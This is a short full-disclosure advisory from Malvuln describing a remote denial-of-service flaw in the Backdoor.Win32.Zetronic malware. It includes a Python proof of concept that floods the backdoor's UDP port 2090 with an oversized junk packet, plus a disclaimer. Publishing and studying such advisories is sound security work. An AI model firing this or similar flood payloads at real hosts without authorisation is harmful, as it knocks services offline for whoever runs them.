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List:       full-disclosure
Subject:    [FD] Backdoor.Win32.Zetronic / Remote DoS
From:       malvuln <malvuln13 () gmail ! com>
Date:       2021-01-29 0:54:15
Message-ID: CAAHK0WQ_BzPkCgMH18EvMomzXAr+ZtAOBuR6HmxN-J+rWZUg3g () mail ! gmail ! com
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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/caf26a74ca39662e2c3d37e55a242daf.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zetronic
Vulnerability: Remote DoS
Description: Zetronic listens on UDP port 2090, sending a large
datagram packet of junk results in denial of service of the backdoor.
Type: PE32
MD5: caf26a74ca39662e2c3d37e55a242daf
Vuln ID: MVID-2021-0057
Disclosure: 01/28/2021

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=2090

def doit():
    s=socket(AF_INET, SOCK_DGRAM)
    s.connect((MALWARE_HOST, PORT))

    DOS="GET /"+"A"*2500

    s.send(DOS)
    s.close()

    print("Backdoor.Win32.Zetronic / Remote DoS")
    print("MD5: caf26a74ca39662e2c3d37e55a242daf")
    print("By Malvuln");


if __name__=="__main__":
    doit()


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advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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